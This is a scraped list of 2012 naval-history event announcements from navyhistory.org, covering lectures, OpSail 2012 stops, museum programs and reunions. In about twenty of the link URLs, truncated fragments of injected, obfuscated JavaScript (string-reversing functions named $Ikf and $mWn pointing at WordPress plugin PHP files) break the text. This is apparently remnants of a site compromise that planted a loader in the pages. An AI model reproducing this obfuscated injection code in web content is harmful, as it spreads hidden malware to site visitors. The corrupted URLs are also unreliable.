- [Lecture: "By the Dawn's Early Light" with Anthony S. Pitch](https://navyhistory.org/event/lecture-by-the-dawns-early-light-anthony-pitch/) - Announcing a Lecture Series Open to the Public Presented by Local Historical Societies To Commemorate The Bicentennial Of The War Of 1812 You Are Invited to the free Inaugural Lecture to be Hosted by the Federal Circuit Historical Society at the United States Court Of Appeals For The Federal Circuit, Madison Place and H St.,
- [70th Battle of Midway Commemoration Dinner](https://navyhistory.org/event/70th-battle-of-midway-commemoration-dinner/) - Marking the 70th anniversary of the US victory in the epic battle of Midway, decisive turning point in the Pacific campaign of World War II, the Naval Historical Foundation joins 7 other Navy-related nonprofits for the tenth consecutive Midway commemorative dinner. With at least 5 Midway veterans and their family members present, and acknowledging
- [Battleship 101 and Legacy Series: Armored Cruiser NORTH CAROLINA and the Great War](https://navyhistory.org/event/battleship-101-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-sis/) - Battleship 101 and 2nd Saturdays Programs 8:00 am – 4:00pm (Legacy) 10:00 am – 4:00 pm (101) Battleship 101 visitors engage with ship volunteers stationed throughout the ship as they create dialogue on specific subjects relative to daily shipboard life including gunnery, radar, sickbay, galley and engineering areas. A unique opportunity to talk one on
- [Battleship North Carolina: Azalea Coast Amateur Radio Club](https://navyhistory.org/event/battleship-north-carolina-azalea-coast-amateur-radio-club/) - The Azalea Coast Amateur Radio Club will operate on board the Battleship North Carolina as one of 63 ships participating worldwide in Museum Ship's Weekend. On this annual event, HAM radio operators will communicate and transmit via voice using the Ship’s original radio equipment. Visitors will be to interact and see as part of the
- [OpSail 2012 - New Orleans](https://navyhistory.org/event/opsail-2012-new-orleans/) - In 2012, Operation Sail will once again bring the glory of tall ships to the American seaboard to celebrate the bicentennial of our nation anthem, The Star-Spangled Banner. The Battle of New Orleans was the last major battle of the War of 1812. On January 8th, 1815, American forces, commanded by Major General Andrew Jackson
- [OpSail 2012 - Norfolk](https://navyhistory.org/event/opsail-2012-norfolk/) - In 2012, Operation Sail will once again bring the glory of tall ships to the American seaboard to celebrate the bicentennial of our nation anthem, The Star-Spangled Banner. On June 22, 1807, the HMS Leopard boarded and then fired on the USS Chesapeake. Known as The Chesapeake affair, the HMS Leopard’s unprovoked attack provoked an
- [OpSail 2012 - Annapolis](https://navyhistory.org/event/opsail-2012-annapolis/) - In 2012, Operation Sail will once again bring the glory of tall ships to the American seaboard to celebrate the bicentennial of our nation anthem, The Star-Spangled Banner. Maryland played in a crucial role in the War of 1812. In anticipation of the war, Fort Severn was built here in 1808 to prevent British attacks.
- [OpSail 2012 - Baltimore](https://navyhistory.org/event/opsail-2012-baltimore/) - In 2012, Operation Sail will once again bring the glory of tall ships to the American seaboard to celebrate the bicentennial of our nation anthem, The Star-Spangled Banner. On September 13th, 1814, British troops launched a twenty-five hour long attack on Fort McHenry, the fort guarding a water approach to Baltimore. Despite the intensity of
- [OpSail 2012 - Boston](https://navyhistory.org/event/opsail-2012-bos<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-ste/) - In 2012, Operation Sail will once again bring the glory of tall ships to the American seaboard to celebrate the bicentennial of our nation anthem, The Star-Spangled Banner. The battle between the USS Chesapeake and the HMS Shannon took place outside of Boston Harbor on June 1, 1813. Almost fifteen minutes after the battle ensued,
- [OpSail 2012 - New London](https://navyhistory.org/event/opsail-2012-new-lon<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam/) - In 2012, Operation Sail will once again bring the glory of tall ships to the American seaboard to celebrate the bicentennial of our nation anthem, The Star-Spangled Banner. From August 9-12, 1814, British fleets attacked Stonington. Led by Sir Thomas Hardy, they destroyed many buildings but ultimately only caused a few casualties. If you go
- [OpSail 2012 - New York](https://navyhistory.org/event/opsail-2012-new-york/) - In 2012, Operation Sail will once again bring the glory of tall ships to the American seaboard to celebrate the bicentennial of our nation anthem, The Star-Spangled Banner. The Battle of Plattsburgh, which took place shortly before the Treaty of Ghent was signed, marked Britain’s final invasion of the northern states. A critical American victory,
- [RADM Callo to Speak on Board Lighthouse Tender LILAC](https://navyhistory.org/event/radm-callo-speak-on-board-lighthouse-tender-lilac/) - Visit the 1933 lighthouse tender Lilac's buoy deck on Thursday, May 24th at 6:30 PM for The War of 1812: A New Perspective, a presentation by RADM Joseph F. Callo, USNR (Ret.). The evening will offer a new appreciation of the importance of this war and its long-term implications as we commemorate the bicentennial of the
- [Lunch Time Lecture: The Admirals - Nimitz, Halsey, Leahy, and King - The Five-Star Admirals Who Won the War at Sea](https://navyhistory.org/event/lunch-time-lecture-the-admirals-nimitz-halsey-leahy-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["/) - With author Walter Borneman Only four men in American history have been promoted to the five-star rank of Admiral of the Fleet: William Leahy, Ernest King, Chester Nimitz, and William Halsey. These four men were the best and the brightest the navy produced, and together they led the U.S. navy to victory in World War
- [Lunch time Lecture: Utmost Gallantry - The U.S. and Royal Navies at Sea in the War of 1812](https://navyhistory.org/event/lunch-time-lecture-utmost-gallantry-the-u-s-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.ero/) - With author Kevin McCranie Focusing on the oceanic war rather than the war in the Great Lakes, this study charts the War of 1812 from the perspectives of the two opposing navies at sea—one of the largest fleets in the world and a small, upstart navy just three decades old. While American naval leadership searched
- [Home School at the Museum: Hull Design](https://navyhistory.org/event/home-school-at-the-museum-hull-design-1/) - Why are the fronts of Navy ships pointed, but submarines are round? Hull designs are constantly being tested and redesigned to ensure maximum displacement and speed. Students will design their own ship hull and test its effectiveness in the water. All home school families without military ID or base decals on their cars should use
- [Home School at the Museum: Hull Design](https://navyhistory.org/event/home-school-at-the-museum-hull-design-2/) - Why are the fronts of Navy ships pointed, but submarines are round? Hull designs are constantly being tested and redesigned to ensure maximum displacement and speed. Students will design their own ship hull and test its effectiveness in the water. All home school families without military ID or base decals on their cars should use
- [Home School at the Museum: Hull Design](https://navyhistory.org/event/home-school-at-the-museum-hull-design-3/) - Why are the fronts of Navy ships pointed, but submarines are round? Hull designs are constantly being tested and redesigned to ensure maximum displacement and speed. Students will design their own ship hull and test its effectiveness in the water. All home school families without military ID or base decals on their cars should use
- [Home School at the Museum: Hull Design](https://navyhistory.org/event/home-school-at-the-museum-hull-design/) - Why are the fronts of Navy ships pointed, but submarines are round? Hull designs are constantly being tested and redesigned to ensure maximum displacement and speed. Students will design their own ship hull and test its effectiveness in the water. All home school families without military ID or base decals on their cars should use
- [For the Little Skippers: Life on the Home Front](https://navyhistory.org/event/for-the-little-skippers-life-on-the-home-front/) - Life on the Home Front: Family Life in the U.S. and U.K. during WWII Join the staff of the Navy Museum for a look at the differences and similarities between life on the home front in WWII in both the U.S. and the U.K. Whether "planting for victory" or "digging for victory" women and children
- [Lunchtime Lecture with Christopher McKee](https://navyhistory.org/event/lunchtime-lecture-with-chris<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdi/) - Wandering Bodies: A Tale of One Burying Ground, Two Cemeteries, and the U.S. Navy’s Search for Appropriate Burial for Its Career Enlisted Dead The United States Naval Asylum (later the United States Naval Home) was built at Philadelphia in the late 1820s as a permanent residence for elderly and disabled long-service naval enlisted sailors and
- [Book Signing Presented by the Friends of the Battleship NORTH CAROLINA](https://navyhistory.org/event/book-signing-friends-of-battleship-north-carolina/) - Meet authors Cindy Horrell Ramsey, Boys of the Battleship NORTH CAROLINA and David Seagraves, Uncommon Hero: The John Seagraves Story. In Boys of the Battleship NORTH CAROLINA, Ramsey tells the story of the Battleship through the eyes of the men who served her. After doing research about the ship at the National Archives in 2000,
- [Battleship Alive: Battleship NORTH CAROLINA](https://navyhistory.org/event/battleship-alive-battleship-north-carolina/) - The Battleship has sponsored "Living History" weekends, called "Battleship Alive," since 1997. "Living History" brings historical events, places and persons "alive" for the public by demonstrating various aspects of the past and allowing interaction with the interpreters. The Living History Crew (LHC) gives insight into the daily life and routine of the crew aboard the
- [USS NORTH CAROLINA Battleship Association Crew Reunion](https://navyhistory.org/event/2012-uss-north-carolina-battleship-association-crew-reunion/) - The USS North Carolina Battleship Association is an organization of the Battleship's former crew members and their families. The Association hosts an annual reunion in Wilmington with the next one scheduled for May 16 - 19, 2012. The crew and families very much look forward to their annual return to the Battleship to share stories,
- [Navy Memorial: 70th Anniversary of the Battle of the Coral Sea Ceremony](https://navyhistory.org/event/navy-memorial-70th-anniversary-battle-of-the-coral-sea/) - The United States Navy Memorial Foundation, Naval District Washington and the Australian Embassy welcome you to commemorate the 70th Anniversary of the Battle of the Coral Sea, with a Service and Parade. The Battle of the Coral Sea took place between 3 and 10 May 1942 and was a major air and naval engagement of
- [Author on Deck Lecture: Service - A Navy SEAL at War](https://navyhistory.org/event/author-on-deck-lecture-service-a-navy-seal-at-war/) - As part of the United States Navy Memorial’s Authors on Deck book lecture series and in celebration of the memorial’s 25th Anniversary, author Marcus Luttrell will present his latest work, SERVICE: A Navy Seal at War (Little, Brown & Co.; May 1, 2012). SERVICE is both a war story for the ages and a heartfelt
- [Lecture: Rescue of the Crew of the Submarine USS SQUALUS](https://navyhistory.org/event/lecture-rescue-crew-of-submarine-uss-squalus/) - In 1939, USS Squalus (SS-192), America's newest submarine, plunged into the North Atlantic. Miraculously, thirty-three crew members survived. CAPT Vance Morrison, USN(Ret.), Commander General - Elect, Naval Order of the US, will tell the story of the first successful rescue of survivors of a US Submarine sinking. Contact: CAPT Jim Brooke (703-451-0574), CAPT Bob Sinclair
- [Tribute to World War II Aviator General James H. “Jimmy” Doolittle  ](https://navyhistory.org/event/tribute-general-jimmy-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/rega/) - USS Hornet Museum and Jimmy Doolittle Air & Space Museum to Pay Tribute to World War II Aviator General James H. “Jimmy” Doolittle Special commemoration to honor 70th Anniversary of Tokyo Aerial Attack Surviving Doolittle Raiders will attend Tribute to share their memories In conjunction with the 70th anniversary of the historic World War II
- [Koh Tang Battle - SS MAYAGUEZ Veterans 2012 Reunion](https://navyhistory.org/event/koh-tang-battle-ss-mayaguez-veterans-reunion/) - WELCOME HERE, WELCOME HOME “Together Then, Together Again” An opportunity for the Koh Tang Mayaguez Veterans across the United States to truly be “Together Again.” Please visit the reunion page for more information and to register.
- [Authors and Artifacts Lecture: The War of 1812 – Conflict for a Continent](https://navyhistory.org/event/authors-artifacts-lecture-war-of-1812-conflict-for-a-continent/) - The Maryland Historical Society is hosting a book-talk on May 10 with J.C.A. Stagg, Professor of History at the University of Virginia and longtime editor-in-chief of the papers of James Madison. He will speak on his new book, The War of 1812 – Conflict for a Continent. This talk will also kick-off the Society's commemoration
- [Society of Civil War Historians: 3rd Biennial Academic Conference](https://navyhistory.org/event/society-of-civil-war-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/re/) - The Society of Civil War Historians will host their third biennial academic conference at the Hyatt Regency in Lexington, Kentucky, on June 14 through 16, 2012. The goal of the conference is to promote the integration of social, military, political, and other forms of history on the Civil War era among historians, graduate students, and
- [Canadian Nautical Research Society Conference: The War of 1812, Differing Perspectives](https://navyhistory.org/event/canadian-nautical-research-society-conferences-the-war-of-1812-differing-perspectives/) - For their 2012 conference, the Canadian Nautical Research Society has retained the War of 1812 as the subject matter with an emphasis on new scholarship, varying perspectives and fresh analysis. They are looking for different perspectives – Canadian, American and European – that shed light on matters that have not generally been treated in any
- [Maine Maritime Museum: 40th Annual Maritime History Symposium](https://navyhistory.org/event/maine-maritime-museum-40th-annual-maritime-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop/) - The 40th Annual Albert Reed & Thelma Walker Maritime History Symposium will be held at Maine Maritime Museum in Bath, Saturday, April 28, 8 a.m. to 5 p.m. The theme for this year’s presentations is “The History and Future of the Maritime Experience.” Because of the broad topic, a wide spectrum of speakers will present
- [National World War II Museum: Mason Lecture and Special Exhibit Opening](https://navyhistory.org/event/national-world-war-ii-museum-mason-lecture-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc/) - (5:00 pm Reception / 6:00 pm Presentation / 7:00 pm Book signing) In conjunction with the opening of the special exhibit, Turning Point: The Doolittle Raid, Battle of the Coral Sea, and Battle of Midway, author Elliot Carlson presents the story of the man who cracked the code that helped make victory a reality in the Pacific. Lecture will
- [Author Lecture: Horrible Shipwreck with Andrew Jampoler ](https://navyhistory.org/event/author-lecture-horrible-shipwreck-with-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nim/) - On August 25, 1833, the British convict transport Amphitrite, filled with more than one hundred women prisoners and their children, together with a crew of sixteen, left London for the convict colony in New South Wales. Less than a week later, all but three died when a savage storm battered their ship to pieces on
- [Navy Museum: Take Your Child to Work Day and Earth Day Celebration](https://navyhistory.org/event/navy-museum-take-your-child-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdi/) - Stop by the U.S. Navy Museum for Earth Day related crafts or a scavenger hunt of the museum! Visitors without military ID or base decals on their cars should use the 11th and O St. SE gate to enter the Washington Navy Yard. Driving directions and maps of the Navy Yard are available at: http://www.history.navy.mil/branches/org8_Visit.htm
- [Home School at the Museum: Crew Safety](https://navyhistory.org/event/home-school-at-the-museum-crew-safety/) - How do you protect pilots from injury if their plane crashes or they must eject? Students will learn about crew systems, which keep our pilots safe in the event of an emergency. Participants will construct an egg drop vehicle and test the strength to see if their “pilot” will survive the fall. All home school
- [Home School at the Museum: Crew Safety](https://navyhistory.org/event/home-school-at-the-museum-crew-safety-3/) - How do you protect pilots from injury if their plane crashes or they must eject? Students will learn about crew systems, which keep our pilots safe in the event of an emergency. Participants will construct an egg drop vehicle and test the strength to see if their “pilot” will survive the fall. All home school
- [Home School at the Museum: Crew Safety](https://navyhistory.org/event/home-school-at-the-museum-crew-safety-2/) - How do you protect pilots from injury if their plane crashes or they must eject? Students will learn about crew systems, which keep our pilots safe in the event of an emergency. Participants will construct an egg drop vehicle and test the strength to see if their “pilot” will survive the fall. All home school
- [Home School at the Museum: Crew Safety](https://navyhistory.org/event/home-school-at-the-museum-crew-safety-1/) - How do you protect pilots from injury if their plane crashes or they must eject? Students will learn about crew systems, which keep our pilots safe in the event of an emergency. Participants will construct an egg drop vehicle and test the strength to see if their “pilot” will survive the fall. All home school
- [Battleship USS MISSOURI (BB 63) 16 Inch Gun Arrives in Delaware](https://navyhistory.org/event/battleship-uss-missouri-16-inch-gun-in-delaware/) - After months of fundraising, working out transportation issues and waiting – lots and lots of waiting – one of the main World War II era cannons from the U.S.S. Missouri is finally set to arrive in Delaware’s southernmost county on Monday, April 16. And this important piece of American history will be welcomed to the
- [USS Salem Easter Egg Hunt](https://navyhistory.org/event/uss-salem-easter-egg-hunt/) - Want to be a Chipmunk? Come get your face painted like Alvin, Simon & Theodore, decorate an Easter Egg, and play games to win prizes! The United States Naval Shipbuilding Museum is located in historic Quincy, Massachusetts. The USNSM is home to the USS Salem (CA 139), the world's only preserved Heavy Cruiser. They are
- [Kickoff: "Year of the Chief" at the U.S. Navy Memorial](https://navyhistory.org/event/kickoff-year-of-the-chief-at-the-u-s-navy-memorial/) - “Year of the Chief,” A Salute to Chief Petty Officers Actor Gary Sinise to be Named Honorary Chief Petty Officer U.S. Navy Memorial Debuts New Exhibit Honoring Navy and Coast Guard Enlisted Leaders In honor of the Chief Petty Officers’ (CPO) 119th Birthday, the United States Navy Memorial unveils a new exhibit to support the
- [Panel: McNamara, Clifford, and the Burdens of Vietnam, 1965-1969](https://navyhistory.org/event/mcnamara-clifford-the-burdens-of-vietnam/) - The Historical Office of the Secretary of Defense and the National Archives invite you to a panel program discussing Robert S. McNamara's most controversial years as Secretary of Defense (1965-68), and Clark Clifford's brief but significant successor tour as Secretary (1968-69) . Discussion will be based on the Historical Offices recent publication, McNamara, Clifford, and
- [Women’s Diversity Concert at the Navy Memorial](https://navyhistory.org/event/womens-diversity-concert-navy-memorial-2012/) - \Women’s Diversity Concert – free, live performance by the U.S. Navy Band held at the United States Navy Memorial in honor of Women’s History Month. The concert, featuring MU1 Shana Sullivan and the Cruisers, will tell the story of women’s growing role in the U.S. Navy through a musical performance accompanied by videos, photography and
- [Historic Tour: 70th Anniversary - Battle of Midway Island](https://navyhistory.org/event/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - Turning Point in the Pacific:70th Anniversary - Battle of Midway Island Honolulu, Ford Island and Midway Sponsored by: "The Pacific Aviation Museum" Pearl Harbor Hosts: ADM Ron Hays, USN and LtGen "Hank" Stackpole USMC Midway Island - a battle that will forever be remembered as the "Turning Point in the Pacific" during World War II.
- [Battleship NORTH CAROLINA - Easter Egg Hunt Carnival ](https://navyhistory.org/event/battleship-north-carolina-easter-egg-hunt/) - The Battleship NORTH CAROLINA announces their 5th annual Easter Egg Hunt Carnival on Friday, April 6, 2012, from 10:00 am until 2:00 pm, with the last ticket sold at 1:00 pm. Hippity Hoppity down the Battleship trail for a fun Spring event with continuous games and egg hunts every 20 minutes. New this year will
- [Lecture: The War of 1812 - A New Perspective](https://navyhistory.org/event/lecture-the-war-of-1812-new-perspective/) - Did either side win the War of 1812? Or was it merely a stalemate, or, worse, a senseless waste of life? Noted historian Rear Admiral Joseph F. Callo explores the facts, strategic issues, and relevant history to get past the tired debate about who won and who lost—and to present a new appreciation of the
- [Submarine Force Birthday History Seminar: OUTLAW SHARK](https://navyhistory.org/event/2012-submarine-force-birthday-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/s/) - “OUTLAW SHARK – The Beginning of Over The Horizon Targeting” Submarine History Seminar National War College 6 – 9 PM 24 April 2012 Register for this free event by Email – nslevent@navalsubleague.com or Phone – 703-256-0891 or 1-877-280-7827Participants: RADM Guy Schaffer, USN (Ret), Director, Navy Command Control and Communications Projects, Naval Electronics Command. Significant activities
- [Lecture: The Civil War Afloat - Secretaries, Strategies, Ships, Sailors, and the Key Battles that Shaped the War on Salt and Fresh Water](https://navyhistory.org/event/lecture-civil-war-afloat/) - Captain Andrew C. A. Jampoler, USN (Ret.), author and historian, will be presenting on "The Civil War Afloat - Secretaries, Strategies, Ships, Sailors, and the Key Battles that Shaped the War on Salt and Fresh Water" as part of the Surratt House Museum’s 150th anniversary commemoration of the Civil War. He will also be available
- [Guided Walking Tour: Medal of Honor Recipients at Arlington National Cemetery](https://navyhistory.org/event/guided-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/) - In recognition of National Medal of Honor Day, Arlington National Cemetery announces a special guided walking tour of Arlington National Cemetery focusing on Medal of Honor recipients buried at Arlington, as well as the history of the Medal of Honor. Tom Sherlock, Arlington National Cemetery historian, and Timothy Frank, a historian with the Naval History
- [Lecture: Assistant Secretary of the Navy Gustavus Fox in the Civil War Navy  ](https://navyhistory.org/event/lecture-navy-gustavus-fox-in-the-civil-war-navy/) - A lecture by Ari Hoogenboom (Brooklyn College/ CUNY Graduate Center) Visit the New York Military Affairs Symposium website for more information.
- [Book Signing with John Gordon, Author of "Fighting for MacArthur"](https://navyhistory.org/event/book-signing-john-gor<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - Book Signing with John Gordon, author of Fighting for MacArthur: The Navy and Marine Corps' Desperate Defense of the Philippines. Visit the Marine Corps Association and Foundation website for more information.
- [Panel: Refighting the Pacific War](https://navyhistory.org/event/panel-refighting-the-pacific-war/) - Program and live webcast with Jim Bresnahan, Elliot Carlson, John Lundstrom, Jon Parshall Please visit the Pritzker Military Library website to register.
- [World War II: Hidden Heroes of the War](https://navyhistory.org/event/world-war-ii-hidden-heroes-of-the-war/) - Robert Gillette (The Virginia Plan) and Elliot Carlson (Joe Rochefot's War) discuss the special roles that William B. Thalhimer and Joe Rochefort played in World War II. Please visit the Virginia Festival of the Book website for more information.
- [138th Annual Meeting of the U.S. Naval Institute](https://navyhistory.org/event/138th-annual-meeting-usni/) - - business meeting - CEO update on the strategic plan - results from recent Board election -special conversation with VADM Robert S. Harward, Navy SEAL and Deputy Commander of Central Command, as well as David Hartman, original host of Good Morning America Visit the USNI website to register.
- [Commodore John Barry Statute, New Wayside Marker Dedication Ceremony](https://navyhistory.org/event/john-barry-statute-marker-dedication-ceremony/) - The Naval Order of the United States has teamed with the National Park Service to create a wayside marker to be placed alongside the statue of Commodore John Barry, U.S. Navy, in Franklin Park at 14th Street, NW, in Washington, DC. Although the statue has been standing since its dedication by President Woodrow Wilson in
- [94th Anniversary of American WWI Battlefields in France Tour](https://navyhistory.org/event/94th-anniversary-american-wwi-battlefields-france/) - Tour Leaders: Colonel Bill White, USMC (Ret) and LtCol Gary Andrejak, USAF (Ret) Itinerary Fri May 18 Departure Sat May 19 Paris Arrivals Sun May 20 Soissons Battlefield and other Second Battle of the Marne sites- Rheims Mon May 21 Belleau Wood Tues May 22 Blanc Mont – Verdun Wed May 23 Verdun- St Mihiel-Verdun
- [For the Little Skippers! Shooting the Breeze: Using Target Kites during WWII](https://navyhistory.org/event/for-the-little-skippers-shooting-the-breeze/) - Families are invited to join the National Museum of the U.S. Navy staff as they explain the history of "target kites," an innovative method of target practice during World War II. After a short tour of the museum, children can design their own target kites in the Museum Education Center to take home! Please visit
- [Block 39 Thursday: Combat Art](https://navyhistory.org/event/block-39-thursday-combat-art/) - This new program is designed to bring "bitesized" pieces of naval history and heritage to the enlisted community. Each month's program will focus on a different topic in naval history through gallery talks and examination of artifacts in The National Museum of the U.S. Navy In March's Block 39 Thursday, Combat Art, participants will learn
- [Home School at the Museum: Naval Criminal Investigative Services](https://navyhistory.org/event/home-school-at-the-museum-ncis-4/) - Naval Criminal Investigative Services: What happens when a crime is committed in the Navy? Students will learn how NCIS uncovers evidence and fingerprints suspects.Participating families will be turned into “investigative teams” to solve a “crime” in the museum! Museum Staff can no longer accept RSVPs for Home School at the Museum during the week of
- [Home School at the Museum: Naval Criminal Investigative Services](https://navyhistory.org/event/home-school-at-the-museum-ncis-3/) - Naval Criminal Investigative Services: What happens when a crime is committed in the Navy? Students will learn how NCIS uncovers evidence and fingerprints suspects.Participating families will be turned into “investigative teams” to solve a “crime” in the museum! Museum Staff can no longer accept RSVPs for Home School at the Museum during the week of
- [Home School at the Museum: Naval Criminal Investigative Services](https://navyhistory.org/event/home-school-at-the-museum-ncis-2/) - Naval Criminal Investigative Services: What happens when a crime is committed in the Navy? Students will learn how NCIS uncovers evidence and fingerprints suspects.Participating families will be turned into "investigative teams" to solve a "crime" in the museum! Museum Staff can no longer accept RSVPs for Home School at the Museum during the week of
- [Home School at the Museum: Naval Criminal Investigative Services](https://navyhistory.org/event/home-school-at-the-museum-ncis-1/) - Naval Criminal Investigative Services: What happens when a crime is committed in the Navy? Students will learn how NCIS uncovers evidence and fingerprints suspects.Participating families will be turned into "investigative teams" to solve a "crime" in the museum! Museum Staff can no longer accept RSVPs for Home School at the Museum during the week of
- [325th Fighter Group 2012 Reunion](https://navyhistory.org/event/325th-fighter-group-2012-reunion/) - The 325th Fighter Group has a unique association with the Navy and naval aviation, having sailed on-board USS Ranger, CV-4 on its way to North Africa in January, 1943. The 325th, also known as the Checkertail Clan (a name given by Axis Sally), will be holding its 67th annual reunion 15-19 August, 2012, in Thousand
- [Lecture: Joe Rochefort's War, The Odyssey of the Codebreaker Who Outwitted Yamamoto at Midway](https://navyhistory.org/event/joe-rocheforts-war/) - Elliot Carlson's biography of Capt. Joe Rochefort is the first book written about the officer who headed the U.S. Navy's decrypt unit at Pearl Harbor and broke the Japanese Navy's code before the Battle of Midway. A book singing follows the program. Please visit the National Archives website for more information.
- [Battleship NORTH CAROLINA Power Plant Tour](https://navyhistory.org/event/battleship-north-carolina-power-plant-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ss/) - Calling all Navy engineering enthusiasts! Join the Battleship North Carolina on March 17, 2012 from Noon until 5:30 pm for an in-depth program on the Battleship's power plant. Learn in detail about the ship's eight Babcock & Wilcox boilers, four sets of General Electric turbines and reduction gears, steam and diesel powered service turbo generators,
- [USS HORNET (CV-8, CV-12, CVA-12, CVS-12) Reunion](https://navyhistory.org/event/uss-hornet-reunion-2012/) - All Ship's Company, Officers, Air Groups, Crew, Marines and their Families Welcome! POC: Carl & Sandy Burket, Secretary Address: PO Box 108, Roaring Spring, PA 16673 Telephone: (814) 224-5063 Fax: (814) 224-0078 E-mail: hornetcva@aol.com Please visit the USS Hornet Association web site: http://www.usshornetassn.com/
- [The Perilous Fight, Or, The War Of 1812 In Ballad And Anthem](https://navyhistory.org/event/perilous-fight-war-of-1812-ballad-anthem-2/) - Experience the War of 1812 In the words of those who were there. Francis Scott Key and other figures from the past spring to life to honor the heroes, both sung and unsung, who endured our young nation’s struggle with Great Britain. Using stage effects from an earlier time, New Old Theater has devised a
- [The Perilous Fight, Or, The War Of 1812 In Ballad And Anthem](https://navyhistory.org/event/perilous-fight-war-of-1812-ballad-anthem/) - Experience the War of 1812 In the words of those who were there. Francis Scott Key and other figures from the past spring to life to honor the heroes, both sung and unsung, who endured our young nation’s struggle with Great Britain. Using stage effects from an earlier time, New Old Theater has devised a
- [Yankee Frolics or "Another Bloody Nose for John Bull"](https://navyhistory.org/event/yankee-frolics-another-bloody-nose-for-john-bull/)
- [Directed Readings Seminar: Black History Month](https://navyhistory.org/event/directed-readings-seminar-black-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - The Naval History and Heritage Command hosts a series seminars for which historians select basic readings that will cover major trends, wars, battles, policies, and technologies across the chronological span of the U.S. Navy's history and facilitate discussion on the readings and their implications. No quizzes, no tests, no papers, and no grades-just intellectual discourse
- [The Golden Thirteen: Recollections of the First Black Naval Officers](https://navyhistory.org/event/golden-thirteen-recollections-of-first-black-naval-officers/) - In January 1944, a group of enlisted black men gathered at the Great Lakes Naval Training Station in Illinois to train as the Navy's first African American officers on active duty. On receiving their commission, these pioneers came to be known as the Golden Thirteen. Paul Stillwell, former director of the Naval Institute's History division,
- [Society for Military History 2012 Conference](https://navyhistory.org/event/smh-2012-conference/) - Theme: The Politics of War Click here for the Call for Papers The conference theme is “The Politics of War,” highlighting the transition from war to peace, civil-military relations, the dynamics of coalition warfare and the problems of military government and occupation. We encourage a diverse group of participants and especially encourage junior scholars to
- [Lecture: USS Oneida and the 1st Battle of  Sackets Harbor](https://navyhistory.org/event/uss-oneida-1st-battle-of-sackets-harbor/) - Occasionally in the life of a country a small event, sometimes little noticed, can change the course of history. Such an event occurred on 19 July 1812 at Sackets Harbor, New York, when a small ship and her gallant commander turned back the first British attack of the War of 1812. Daniel Pariser will review
- [Author Lecture: John Barry - An American Hero in the Age of Sail ](https://navyhistory.org/event/author-lecture-john-barry-an-american-hero/) - The Friends of the American Philosophical Society (located in Philadelphia) would like to extend an invitation to interested parties to attend their APS lecture and book signing by Tim McGrath on John Barry: An American Hero in the Age of Sail. Tim McGrath is a compelling and lucid writer, and is an executive who lives
- [For the Little Skippers: Shells and Sweethearts](https://navyhistory.org/event/little-skippers-225-shells-<script>$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steew/) - Families are invited to join docents from the National Museum of the United States Navy as they explain the history of the popular and unique art form, Sailor Valentines. After the tour, participants are invited to make their own Sailor Valentine to take home. Please visit the National Museum of the United States Navy website
- [Lunchtime Lecture: The Role of Hydrography during the Spanish-American War](https://navyhistory.org/event/lunchtime-lecture-role-of-hydrography-spanish-american-war/) - Jason Smith, a graduate student at Temple University and recipient of the Naval History and Heritage Command 2010-2011 dissertation fellowship, will present his research on the role of hydrography during the Spanish-American War. Please visit the National Museum of the United States Navy website for more information.
